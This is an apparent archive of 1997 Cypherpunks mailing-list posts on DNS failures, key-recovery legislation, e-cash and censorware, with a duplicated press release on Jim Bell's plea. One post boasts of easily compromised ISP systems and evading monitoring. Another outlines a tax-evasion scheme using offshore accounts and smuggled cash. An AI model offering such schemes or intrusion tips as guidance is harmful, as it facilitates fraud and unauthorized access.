William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From pgp at pgmedia.net  Fri Jul 18 12:42:30 1997
From: pgp at pgmedia.net (pgMedia)
Date: Fri, 18 Jul 1997 12:42:30 -0700 (PDT)
Subject: PGMedia Comments on the Failure of the NSI-Controlled DNS System
Message-ID: <1342883289-597806@MediaFilter.org>


FOR IMMEDIATE RELEASE: NATIONAL DISTRIBUTION:
_____________________________________________

PGMedia Comments on the Failure of the NSI-Controlled DNS System



(New York, New York) The breakdown of the Internet's Domain Name
System ("DNS") yesterday, purportedly caused by human error at
Network Solutions, Inc. ("NSI") as well as NSI's antiquated
hardware, brought internet traffic to a crawl.  This and other
recent troubles that NSI has experienced in its operation of the
Internet's Domain Name System are textbook examples of a
monopolist's inertia in developing new and more secure systems
to preserve and protect the integrity of the central facilitator
of the Internet.  The end-users of the Internet demand and
deserve better.  In NSI's desire to protect its monopoly
profits, particularly in view of its stated intention to offer
public stock based on that artificially inflated cashflow, NSI
has placed the entire Internet at risk. NSI's intransigence to
the change demanded by PGMedia, Inc. d/b/a name.space in the
antitrust litigation commenced in Federal Court in New York has
also led to the recently reported investigation by the U.S.
Department of Justice for NSI's alleged antitrust violations.



PGMedia, through its name.space service
(http://namespace.pgmedia.net), has developed and implemented a
rationalized Top-Level-Domain system that allows for
registration under unlimited TLDs such as ".art" "news"
".cameras", ".inc" ".sports" and ".weather". The name.space
service is housed on a state of the art network with thirteen
root servers located in five countries. The name.space system
has been fully operational since August 1996, and was not
affected by the "human error" which ground NSI's system to a
halt yesterday. If end-users of the Internet wish to secure for
their own use, and at no cost, a far more reliable DNS system,
all they need do is access the above-referenced URL and follow
the simple steps therein to redirect their default TCP name
server addresses to the name.space network.



In addition, PGMedia believes that the name.space shared product
and service oriented TLDs, when fully resolvable, will open up
the Internet to far greater commercialization and render the
wealth of information on the Internet far more accessible to the
end-user.  PGMedia's demand for access to the central root zone
file exclusively controlled by NSI which would render PGMedia's
TLD's and the domain names registered thereunder universally
resolvable is currently pending consideration by The Honorable
Robert P. Patterson, Jr., U.S.D.J., in Federal Court in New
York. PGMedia also wishes to stress that it has no affiliation
with and does not support the anticompetitive approach
propounded by the loose group of purported registrars known as
"eDNS."



For more information, please contact the PGMedia, Inc. legal
counsel at mjd at pgmedia.net; the Amended Complaint in the
above-referenced Federal Antitrust Action may be viewed and
downloaded at http://namespace.pgmedia.net/law







From tcmay at got.net  Thu Jul 17 21:54:53 1997
From: tcmay at got.net (Tim May)
Date: Fri, 18 Jul 1997 12:54:53 +0800
Subject: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: 
Message-ID: 



At 8:19 PM -0700 7/17/97, William H. Geiger III wrote:

>Actually with some "creative" accounting one can make use of the net to
>cirumvent large amount of corporate & personal income tax. :)
>
>It is quite possible to set up virtual corporations who's complete
>bussines is done over the wire. While some setions of industry can benifit
>from this more than others I see in the future a large section of the
>revenue stream migrating offshore to various taxhavens beyoned the reach
>of the little piggies in DC. :)

Well, obviously I'm well acquainted with this particular theory....

However, pulling it off is the hard part. A few data points:

- my income derives solely at this point from investments. No better
example of a "geodesic economy" exists...my assets and sources of income
can be located anywhere on Earth, and can be sent there with a few phone
calls. And, yet, I continue to pay the IRS, the Franchise Tax Board, and
various regional satrapies truly obscene amounts of taxes.

(Why? Because sending my assets to Foobaria and then attempting to live
tax-free off the income/dividends/sales is not currently feasible. Note to
the advocates of this strategy: not even the advocates of using offshore
banks think this is workable as a tax avoidance scheme.)

- I rather suspect that all of the employees of C2Net, surely a
"Cypherpunks company" if ever there were one, mundanely receive their W-2s
and file diligently. (Actually, the odds are that some of them are already
delinquent on filing, but the point remains valid.)

- John Walker, the founder of Autodesk (Autocad), became a citizen of
Belize and now lives in Switzerland. As above, a "virtual entity." And yet
he tells me his taxes are higher than if he'd remained in the U.S. (he left
for complicated reasons, involving taxes, but not necessarily to reduce his
personal taxes).

So, I admire the theory. In fact, I wrote many essays on related points.
(Cf. "crypto anarchy") But it's not at all easy to pull it off.

Maybe in 10 years.

--Tim

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From ravage at ssz.com  Thu Jul 17 21:57:51 1997
From: ravage at ssz.com (Jim Choate)
Date: Fri, 18 Jul 1997 12:57:51 +0800
Subject: index.html
Message-ID: <199707180441.XAA02483@einstein.ssz.com>



    CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Tech banner Click here to play IBM's virtual tennis @
   www.wimbledon.org 
   
     rule
     
                 DATABASE PROBLEM SLOWS SOME INTERNET TRAFFIC
                                       
     July 17, 1997
     Web posted at: 9:53 p.m. EDT (0153 GMT)
     
     (AP) -- A problem with the database that keeps track of all Internet
     addresses slowed network traffic for several hours Thursday morning,
     effectively blinking some Web sites out of existence.
     
     The problem appeared to be resolved by midafternoon.
     
     During the trouble, computers couldn't always find someaddresses
     ending in .net and .com, sometimes e-mail didn't go through and
     attempts to look up some Web sites came up empty.
     
     A user seeking an address ending in .com, for example, wouldhave
     received an error message that read "Could not resolve DNS," said
     Aggie Nteta, a spokeswoman for Network Solutions Inc., which runs
     the main registry of Internet addresses, called InterNIC, under an
     arrangement with the U.S. government.
     
     Every morning at 2:45 a.m. EDT, the files listing all Internet
     addresses for North America are updated and sent out through the
     network. On Wednesday morning, two of those files somehow became
     corrupted, setting off error alarms.
     
     However, the system administrator on duty chose to release the files
     anyway, creating a situation in which many Web sites effectively
     blinked out of existence, at least in the eyes of browsers.
     
     "The big effect was that our site became invisible," saidChris
     Caldwell, chief engineer at NDA, a Web site design company in
     Woburn, Massachusetts.
     
  Problems with addresses
  
     
     
     The files were corrected and re-released about four hours later,
     although it may have taken several more hours for the corrected
     information to spread throughout the network, Nteta said.
     
     The problem is the latest in a series of addressing glitchesover the
     past few days. Last weekend AlterNIC, an InterNIC rival, briefly
     took over InterNiC's address on the Web. AlterNIC described this on
     its Web site as a form of protest over InterNIC's current monopoly
     on distribution of Internet addresses.
     
     InterNIC has also encountered numerous problems with badinformation
     on its database. Some businesses have been double billed, while
     others have had their Web sites dropped from the address lists by
     mistake.
     
     Dave Crocker, a computer consultant and founder of theInternet Mail
     Consortium, said it was a problem of qualityassurance.
     
     "The fact that they are growing quickly is not an excuse forthis.
     The rate of errors they are having would not be tolerable for any
     other professional organization doing a technical task," he said.
     
     Copyright 1997 Associated Press. All rights reserved. This material
     may not be published, broadcast, rewritten, or redistributed.  rule
     
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From tcmay at got.net  Thu Jul 17 23:02:42 1997
From: tcmay at got.net (Tim May)
Date: Fri, 18 Jul 1997 14:02:42 +0800
Subject: Government and Whom we Trust
Message-ID: 




There are some striking similarities between the "certificate authority"
(CA) and PICS/RSACi/rating issues. Not really surprising, as they both
involve "certificates" of slightly different types.

The larger issue in both cases is that the government is interjecting
itself, or seeking to, in matters of trust and believability. It's as if
the government felt movie and restaurant reviewers needed to be licensed,
regulated, inspected, detected, refected, and maldicted.

The CA issue, which shows up in the UK "trusted third parties" proposal and
in various other European and American proposals, essentially rules out
independent, "anarchic" signature signers. If the UK form becomes law, for
example, one could not even _sign_ another's key or whatever without
automatically becoming subject to the law.

(Whether something like this will become law in the U.K, not to mention the
U.S., is unclear. But of course this is the plan being discussed.)

The "Web rating" proposal is somewhat similar, in that those who provide
PICS/RSACi ratings would be bound by certain laws.

Sounds reasonable, being bound by certain laws, right? To some it does.

Here's why they're wrong: signatures on keys and statements of ratings are
just OPINIONS or EXPRESSIONS OF BELIEF.

"I believe this is the key of Phil Zimmermann."

"I believe the material I saw at this Web site when I looked is suitable
for children under the age of 9."

"I believe Szechwan Garden has fine food."

"I believe "Contact" is a good movie."

"I believe that giving all your money to the Church of Scientology will
help you go clear."

All are opinions, however expressed. There is no government role in any of
these issues. Whether people are "misled" by stated opinions is not a
matter for governments in free societies to intervene and limit speech.

(Sure, there are a few fringe issues, such as variants of falsely shouting
"Fire!" in a crowded theater and the Usual Suspects when it comes to free
speech. But the Net is no different from other outlets when it comes to
even these fringe issues.)

In the cases we are so preoccupied with recently, the government is seeking
a role in establishing a hierarchy of true statements, a system for
determining who is making legitimate statements and who is not. The
government is seeking to be the arbiter of truth, telling us whom we can
trust.

All unaccepable, of course. On some very basic grounds.

Talk of compromise is terribly wrong.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From rschlafly at attmail.com  Thu Jul 17 23:36:02 1997
From: rschlafly at attmail.com (Roger  Schlafly)
Date: Fri, 18 Jul 1997 14:36:02 +0800
Subject: court order required for keys?
Message-ID: 



Posted online news accounts of the McCain-Kerrey bill have implied
that the a court order is required under the bill to get keys.  Eg,
from recent postings,

    [AP, 07/09/1997]
    As with wiretaps, authorities would have to obtain court orders to make
    the keys available for law enforcement.     ^^^^^^^^^^^^^^^^^^^
    ... Sponsored by Kerrey and Sen. John McCain, R-Ariz., that bill would set
    up a key recovery system to give computer companies strong incentives to
    make keys available to investigators who obtain a court's permission.
                                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    [Wired, 11.Jul.97]
    Law enforcement could then access that copy of your key
    through a court order.
    ^^^^^^^^^^^^^^^^^^^^^

I find this distressing, because I have read the bill, and a court order
is most emphatically NOT required.  Only a form specified by J. Reno.
This is a tricky point in the bill, but notice that:

(1) Court orders are not required for wiretaps in the US.  While it may
be true that court orders are used most of the time when wiretap evidence
is used in a criminal trial, there are a number of exceptions.

(2) There is no restriction in the bill to getting keys to decipher
communications covered by the wiretap laws.  It lets cops get keys
to many other communications.  Part of the point to using
encryption is to use public networks where access to the encrypted
data need not be hidden or withheld from the public.  Under S.909,
if the cops can get access to the data, then they can get the keys
without any court order.

(3) Even if there is a court-ordered wiretap, there is no obligation
to notify the judge that keys will also be seized.  While it may seem
obvious that if a judge is willing to order a wiretap, he is willing
to order key seizure, I don't think this is necessarily the case.
When a judge orders a wiretap, he is supposed to be balancing the
possibility of getting incriminating evidence against the invasion of
privacy of innocent parties.  If the keys of innocent parties are being
seized as well, it may affect the judge's balancing.

(4) In S.909, all of the requirements on law enforcement officials
can be lifted by executive order.

Am I wrong, or are all the news accounts wrong?  Please let me know
if there is any flaw in my analysis.

Roger Schlafly
rschlafly at attmail.com
(Please CC me on any followup, as I only occasionally read this list.)






From toto at sk.sympatico.ca  Fri Jul 18 00:26:01 1997
From: toto at sk.sympatico.ca (Toto)
Date: Fri, 18 Jul 1997 15:26:01 +0800
Subject: A.Jensen doesn't like Sympatico.ca
In-Reply-To: 
Message-ID: <33CF16FC.52C5@sk.sympatico.ca>



Michael C Taylor wrote:
> On Thu, 17 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > They hate Toto's ISP:

  So does Toto.

> Funny thing is that Sympatico.ca is NOT some fly-by-night ISP, but one of
> the larger ISPs and has the deepest pockets.
> Each province buys the basic 'francise' from MediaLink (??) in Upper
> Canada, and resells it and packages it how they want.
 
> The problem is with spam is not they do more of it, they are most
> likely underqualified to fix the problem of non-Sympatico users using the
> various Sympatico SMTP servers as a relay.

  Sympatico is a hacker's dream. Not only are you able to access their
systems all across Canada once you get an inside track into one of them
but most of the provincial admins seem to have little idea of what the
concept of security entails. As long as you remain low-key you can
set up your own little cyberkingdom across the country.
 {If you hack Toto's website you will find a file in the home directory
which explains how to hack Sympatico's mail system. In return Toto asks
that you use unlimited accounts instead of those like his, which cost
the user on a time-of-use basis.}

  Passive-aggressive hacker fans of "The True Story of the InterNet"
sometimes use Toto's account in ways that are meant to cause trouble
for him but he has not received even a whisper from Sympatico admin
despite loud and voriciferous protests from the victims of the hackers'
shenanigans.
  There was an annual MC hacker's contest going on for the last month
on the Sympatico system and none of the Webmasters seemed to notice
even though all the provincial systems were compromised from top to
bottom. When the Evil-1 set up shop on the Sympatico system he had
to go through it and _improve_ the security in order to keep the
neophyte hackers out of his hair.

  The Saskatchewan Sympatico system is the easiest to use for general
purpose mischief. The British Columbia system is best for hiding large
volumes of use and CPU time. The Ontario system is the most fun to
lurk in because all of the Sympatico employees are perverts of one
kind or another and their private email puts the sex sites to shame.
{It's best not to mess with the government accounts until you've
figured out where the Mountie and CIS spooks are lurking but their
monitoring methods are real blatant and easy to route around by using
blind telnet, deleted mail mirroring, etc.}

  Sympatico's motto is "Internet Service For Everyone."
  I doubt that they realize how true it is.

Toto #6UALDV8






From irsnwpr at net.insp.irs.gov  Fri Jul 18 15:47:16 1997
From: irsnwpr at net.insp.irs.gov (IRS Inspection)
Date: Fri, 18 Jul 1997 15:47:16 -0700 (PDT)
Subject: Something of Interest
Message-ID: <199707171628.MAA02724@net.insp.irs.gov>




					United States Attorney
					Western District of Washington

FOR IMMEDIATE RELEASE
July 18, 1997

JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
SECURITY NUMBERS

United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
pleaded guilty today in the federal court in Tacoma to two felony charges.
BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
impeding the Internal Revenue Service (IRS), and to falsely using a social
security number with the intent to deceive.  United States District Court
Judge Franklin D. Burgess presided over today's proceedings.

The charges stem from an investigation initiated in October, 1996 by IRS
Internal Security Inspectors into reports that BELL was gathering the names
and home addresses of IRS employees. In previous court hearings, IRS
Inspectors testified that BELL had obtained the names and home addresses of
70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
agreement signed by BELL, he acknowledged that he had gathered the names and
addresses of the IRS employees in order to intimidate them in the
performance of their official duties.

During the course of their investigation, IRS Inspectors discovered that
BELL was advocating a scheme called "Assassination Politics", whereby
persons would be rewarded with "digital cash" for killing certain
undesirable people.  BELL identified these undesirables as government
employees, such as IRS employees, who would be intimidated from enforcing
internal revenue laws for fear of being assassinated.  In the plea
agreement, BELL admitted that he suggested using "Assassination Politics" as
an enforcement mechanism for the "Multnomah County Common Law Court", and
that this was part of his effort to obstruct and impede the enforcement of
internal revenue laws.  In affidavits previously filed in this case, IRS
investigators identified BELL as a participant in the "Multnomah County
Common Law Court", which was described as a self-appointed anti-government
extremist group which purports to hold "trials" of IRS and other Government
employees for the performance of their official duties.  The affidavits
indicated that in January, 1997 the "Multnomah County Common Law Court" held
a "trial" of IRS and other Government officials.  

In the plea agreement, BELL also admitted that on March 16, 1997, he
conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
Washington, using the noxious chemical mercaptan.  In affidavits filed with
the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
against non-government targets: one being a lawyer's office in 1984, and the
other a vehicle in 1989.  The IRS investigators also linked BELL to two
purchase orders for noxious chemicals, one in 1994 and one in 1996.
According to the plea agreement, the attack on the IRS office resulted in a
cost to the government of $1,359, and caused a number of IRS employees to
have to leave work.  In an affidavit previously filed in this case, IRS
Inspectors indicated that the mercaptan attack may have been linked to the
February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

As part of the plea agreement, BELL also admitted that he used several
different social security numbers in order to hide assets from the IRS and
thus to impede the IRS's ability to collect taxes he owed and to prevent the
IRS from levying his wages.

Federal agents had previously executed two search warrants on BELL's
residence.  On April 1, 1997, IRS agents seized computers, documents, and
firearms during a search.  In a follow-up search, the Environmental
Protection Agency seized a variety of dangerous chemicals which had been
discovered during the execution of the  IRS warrant.  BELL was arrested by
IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
posed a danger to the community and was a flight risk.

BELL faces a maximum sentence of three years in prison and a $250,000 fine
for the obstruction charge, and five years and a $250,000 fine for using a
phony social security number.

The IRS received assistance in the investigation of BELL from the Portland
Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
Bureau of Investigation, and the Vancouver, Washington Police Department.





From irsnwpr at net.insp.irs.gov  Fri Jul 18 15:51:19 1997
From: irsnwpr at net.insp.irs.gov (IRS Inspection)
Date: Fri, 18 Jul 1997 15:51:19 -0700 (PDT)
Subject: Something of Interest
Message-ID: <199707171629.MAA02733@net.insp.irs.gov>




					United States Attorney
					Western District of Washington

FOR IMMEDIATE RELEASE
July 18, 1997

JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
SECURITY NUMBERS

United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
pleaded guilty today in the federal court in Tacoma to two felony charges.
BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
impeding the Internal Revenue Service (IRS), and to falsely using a social
security number with the intent to deceive.  United States District Court
Judge Franklin D. Burgess presided over today's proceedings.

The charges stem from an investigation initiated in October, 1996 by IRS
Internal Security Inspectors into reports that BELL was gathering the names
and home addresses of IRS employees. In previous court hearings, IRS
Inspectors testified that BELL had obtained the names and home addresses of
70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
agreement signed by BELL, he acknowledged that he had gathered the names and
addresses of the IRS employees in order to intimidate them in the
performance of their official duties.

During the course of their investigation, IRS Inspectors discovered that
BELL was advocating a scheme called "Assassination Politics", whereby
persons would be rewarded with "digital cash" for killing certain
undesirable people.  BELL identified these undesirables as government
employees, such as IRS employees, who would be intimidated from enforcing
internal revenue laws for fear of being assassinated.  In the plea
agreement, BELL admitted that he suggested using "Assassination Politics" as
an enforcement mechanism for the "Multnomah County Common Law Court", and
that this was part of his effort to obstruct and impede the enforcement of
internal revenue laws.  In affidavits previously filed in this case, IRS
investigators identified BELL as a participant in the "Multnomah County
Common Law Court", which was described as a self-appointed anti-government
extremist group which purports to hold "trials" of IRS and other Government
employees for the performance of their official duties.  The affidavits
indicated that in January, 1997 the "Multnomah County Common Law Court" held
a "trial" of IRS and other Government officials.  

In the plea agreement, BELL also admitted that on March 16, 1997, he
conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
Washington, using the noxious chemical mercaptan.  In affidavits filed with
the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
against non-government targets: one being a lawyer's office in 1984, and the
other a vehicle in 1989.  The IRS investigators also linked BELL to two
purchase orders for noxious chemicals, one in 1994 and one in 1996.
According to the plea agreement, the attack on the IRS office resulted in a
cost to the government of $1,359, and caused a number of IRS employees to
have to leave work.  In an affidavit previously filed in this case, IRS
Inspectors indicated that the mercaptan attack may have been linked to the
February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

As part of the plea agreement, BELL also admitted that he used several
different social security numbers in order to hide assets from the IRS and
thus to impede the IRS's ability to collect taxes he owed and to prevent the
IRS from levying his wages.

Federal agents had previously executed two search warrants on BELL's
residence.  On April 1, 1997, IRS agents seized computers, documents, and
firearms during a search.  In a follow-up search, the Environmental
Protection Agency seized a variety of dangerous chemicals which had been
discovered during the execution of the  IRS warrant.  BELL was arrested by
IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
posed a danger to the community and was a flight risk.

BELL faces a maximum sentence of three years in prison and a $250,000 fine
for the obstruction charge, and five years and a $250,000 fine for using a
phony social security number.

The IRS received assistance in the investigation of BELL from the Portland
Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
Bureau of Investigation, and the Vancouver, Washington Police Department.





From dformosa at st.nepean.uws.edu.au  Fri Jul 18 01:03:05 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Fri, 18 Jul 1997 16:03:05 +0800
Subject: Censorware Summit Take II, from The Netly News
In-Reply-To: <199707180412.XAA09723@mailhub.amaranth.com>
Message-ID: 



On Thu, 17 Jul 1997, William H. Geiger III wrote:

> Well 90% of the "features" of these browsers are complete crap. I have yet
> to see a web site that did anything constructive with frames and animated
> gifs are compleetly worthless.

I aggry however there are now meany sites that are now only have frame
based interfaces.  When useing when useing lynx I have to decode the
frames manuly.

[...]

> I was thinking more allong the lines of providing a strong, secure GNU
> browser for doing transactions over the net 

So basicly a non-nonsence bussness web-broser.  It would have to be
devloped outside the cyber certion though.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett






From rdl at mit.edu  Fri Jul 18 01:38:02 1997
From: rdl at mit.edu (Ryan Lackey)
Date: Fri, 18 Jul 1997 16:38:02 +0800
Subject: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <199707180421.XAA09823@mailhub.amaranth.com>
Message-ID: <199707180833.EAA00990@the-great-machine.mit.edu>



[regarding TC May's comment that it still wasn't practical to live off
of exclusively offshore investment income tax-free, and that advocates
of offshore banking did not even claim it was, but that it might be in
10 years.]

What exactly makes it impractical to live off of the investment income
from off-shore investments exclusively?  I'm kind of broke right now, but
I was assuming that the combination of a set of offshore accounts
and an offshore visa card used to pay for practically everything, as
well as perhaps smuggled in cash and gold/etc. which could be sold outside
of reported channels would be enough to allow you to pay untracededly
for almost everything.  Then, if you did not have a primary residence
in the United States, but rather spent life living in a college dorm
(which is unlikely to flag anything at the IRS, being part of a bill which
is routinely paid by third parties, often from outside of the US), on a
boat registered outside of the US, or visiting places around the country
and world, plus had some plausible way of hiding this extra income of
yours, you could get by reporting only an abusrdly low amount of income
from a part time job or something, and no one would be the wiser.

Then, as your income/assets grew, you could continue to dump money from
off-the-record sources into an offshore account, continue to use the
offshore account for real and untraced purchases, and continue to draw
your small salary to show that you are paying taxes and are just poor.
Then, graduate from university and live the rest of your life vacationing
around the world, or skip the first step if you're smart. (From what I
know of IRS auditing procedures, they'd be remarkably more apt to find
out if someone with a real income's income suddenly fell to $4k/year and
stayed there from $100k+/year with no explanation given than if mine went
from -$30k a year to -$26k/year, so starting when you're broke might be
a decent plan.)

Are there any major obvious holes in this plan?  Now all I need is to
do some useful, crypto-anarchist work and be
paid under the table, perhaps taking a month or two vacation to 
Antigua or someplace in the process.

---
Ryan Lackey
rdl at MIT.EDU
http://mit.edu/rdl/www/






From tm at dev.null  Fri Jul 18 01:39:43 1997
From: tm at dev.null (TruthMonger)
Date: Fri, 18 Jul 1997 16:39:43 +0800
Subject: court order required for keys?
Message-ID: <199707180824.CAA17083@wombat.sk.sympatico.ca>



Roger Schlafly wrote: 
> Posted online news accounts of the McCain-Kerrey bill have implied
> that the a court order is required under the bill to get keys. 
>     [AP, 07/09/1997]
>     As with wiretaps, authorities would have to obtain court orders to make
>     the keys available for law enforcement.     ^^^^^^^^^^^^^^^^^^^
>     [Wired, 11.Jul.97]
>     Law enforcement could then access that copy of your key
>     through a court order.
>     ^^^^^^^^^^^^^^^^^^^^^
> 
> I find this distressing, because I have read the bill, and a court order
> is most emphatically NOT required.  Only a form specified by J. Reno.

  Most people don't realize that many of the so-called protections that
are in place to guard our constitutional rights and our privacy only 
apply to _use_ of the material in an _official_ proceeding, such as a
trial or hearing.
  Government, private agencies and corporations daily exchange all
manner
of supposedly private information, often using court orders only to
_officially_ get portions of what they already had. It is no accident
that LEA's often get court orders asking only for access to certain
incriminating information (since they've already done the "fishing").

This is a tricky point in the bill, but notice that:
> (1) Court orders are not required for wiretaps in the US.  While it may
> be true that court orders are used most of the time when wiretap evidence
> is used in a criminal trial, there are a number of exceptions.

  Also, many of the wiretaps have already been in place when the
court orders are applied for. "Redating" of wiretap records is a
common and sophisticated part of LEA practice. NSA has a database
that is used to cull out wiretap references which are out of sync
with the purported time-stamp on records. It lists all worldwide
social and religious time-sequence indentifiers such as Easter, 
Hannuka, the running of the bulls, sports contests and playoffs,
etc. 

> (2) There is no restriction in the bill to getting keys to decipher
> communications covered by the wiretap 
>  Under S.909,
> if the cops can get access to the data, then they can get the keys
> without any court order.

  Which they no doubt will do and apply for the court order after they
have found what they want. This will be even more effective than their
voice-wiretap methods have been because their will be no need to redate
the information they claim as being found after getting the court order
since files, unlike voices, linger.

> (4) In S.909, all of the requirements on law enforcement officials
> can be lifted by executive order.

  Which means it can be done _retroactively_ with a nod, a wink, and
a few simple strokes of a pen.

  S.909 quite simply butt-fucks the Constitution and the citizenry.
The shameless criminals on Capitol Hill of Manure no longer even
seriously pretend to be in the least concerned with Constitutional
issues. They think (and may be right) that they only have to chant
the "National Security" mantra a couple of times to absolve all of
their sins against the Constitution.

TruthMonger







From rdl at mit.edu  Fri Jul 18 03:31:18 1997
From: rdl at mit.edu (Ryan Lackey)
Date: Fri, 18 Jul 1997 18:31:18 +0800
Subject: mondex
Message-ID: <199707181026.GAA01342@the-great-machine.mit.edu>



So, it appears (at least to me and many others) that Mondex is the most 
likely to succeed of all the serious electronic cash systems currently
publically announced.  I think I like some parts of their architecture,
but to a great extent they seem to be completely at odds with the
"free money" goals I have for electronic cash -- they're totally owned
by the banking industry, willing to give up a great deal of privacy and
anonymity in the name of preventing money laundering, and they appear
committed to supporting only current national currencies, rather than
allowing corporate scrip from either existing large companies (I trust
at&t more than most governments) or organizations which buy a bunch of
gold, charge minimal overhead, and issue currency totally backed by
their assets.  I'd be somewhat annoyed if the big electronic cash system
only moved current statist cash into the electronic realm.

Does anyone know how open the Mondex architecture is?  Is it in any way
possible to set up a competing system with your own card manufacture
and issuing bodies for currencies which can be used in deployed Mondex
POS terminals without too much hassle?  Would this be analagous to the
problem of replacing InterNIC with other NICs -- you need to make the
user servers know to look at the rival systems and understand their 
keys?

It would be kind of impressive in a way if Mondex were lame about 
allowing other currencies to proliferate free of state influences, yet
managed to get the basic technology employed around the world, then some
cypherpunkish group came up with their own cards, a little bit of
software, etc. and then issued currency with more behind it than Mondex
franchisees, had higher profits than Mondex, and then were to be the
only currencies anyone would trust after the collapse of a few state-backed
currencies.  Also, I'd trust the cypherpunkish crowd to do a better job
of hardware and software design for the cards and system, so they're
likely to be more secure in that fashion as well.

Am I being utterly out of touch with reality, or only tangential to it?

---
Ryan Lackey
rdl at mit.edu
http://mit.edu/rdl/www/










From jrennie at hardy.ocs.mq.edu.au  Fri Jul 18 03:55:04 1997
From: jrennie at hardy.ocs.mq.edu.au (Jason William RENNIE)
Date: Fri, 18 Jul 1997 18:55:04 +0800
Subject: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970717100056.00733db4@netcom10.netcom.com>
Message-ID: 



> 
> Only a valid VeriSign Global ID cert (an X.509 v3 cert with a special
> extension) will activate the strong encryption in exportable browsers. This
> is hardcoded into Navigator and Internet Explorer.
> 
So, write a new browser (Theres a linux project staring to do 
this for linux soon/now (i think anyway)) and then port to a bunch of 
systems and base it outside the US. There aren't any import restriction 
on strong crypto yet are there ?? Besides you could then set up a home 
page ala. netscape.com and rake in the advertising dollars, if you can 
get teh browser to take off. A lot of if's and work but in theory it 
works.

Jason =8-]






From zooko at xs4all.nl  Fri Jul 18 05:02:26 1997
From: zooko at xs4all.nl (Zooko Journeyman)
Date: Fri, 18 Jul 1997 20:02:26 +0800
Subject: spawn of Vulis
Message-ID: <199707181146.NAA24061@xs1.xs4all.nl>



> FWIW, my 8 y o has his own IBM Aptiva, his own Internet access, his own
> e-mail box, and I exercise absolutely no control over what he reads or
> says on the Internet.


You need to help him set up a pseudonym, Dmitri.  Think about 
10 or 20 years down the road when he wants to get a contract/
join a phyle/avoid an enemy or whatever, and his entire 
childhood e-mail and virtual-community history is greppable via
a 2-second, 2-cent search.  This would give his employers/
partners/competitors/enemies/governments a great deal of 
leverage over him in various ways.  Also it might be very 
embarassing socially, which is no less important.


Get him a pseudonym.  You can always (more or less) claim the 
reputation capital that your pseudonym accumulated, but you can
never (probably) lose history accumulated under your True Name.


Of course he could always change his name/adopt a strong 'nym 
in the future in order to get a clean start, but this might not
be easy, especially since people can find him through you and 
perhaps other of his relatives or friends.


Sincerely,

Zooko Journeynym






From stutz at dsl.org  Fri Jul 18 05:51:02 1997
From: stutz at dsl.org (Michael Stutz)
Date: Fri, 18 Jul 1997 20:51:02 +0800
Subject: Censorware Summit Take II, from The Netly News
In-Reply-To: <199707180148.UAA07682@mailhub.amaranth.com>
Message-ID: 



On Thu, 17 Jul 1997, William H. Geiger III wrote:

> I think that several of us need to get together with the authors of Lynx
> and produce a GNU secure webbrowser and take on these SOB's.
> 
> I don't think that it would be all that much work to mimick NetScapes
> plugin interface so the same plugins will work with the GNU browser.

While they are still in early stages, Project Mnemonic is a team of
programmers working on an open, modular GNU browser that will have the kind
of functionality that you describe (and eventually be able to run in various
modes, such as text only, svgalib, X, etc). They need C++ programmers to
help, so spread the word. The story is at
.


m

  Copyright (c) 1997 Michael Stutz; this information is
email stutz at dsl.org  free and may be reproduced under GNU GPL, and as long
                     as this sentence remains; it comes with absolutely NO
		     WARRANTY; for details see .






From frissell at panix.com  Fri Jul 18 06:40:11 1997
From: frissell at panix.com (Duncan Frissell)
Date: Fri, 18 Jul 1997 21:40:11 +0800
Subject: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: 
Message-ID: <3.0.2.32.19970718085427.0364b774@panix.com>



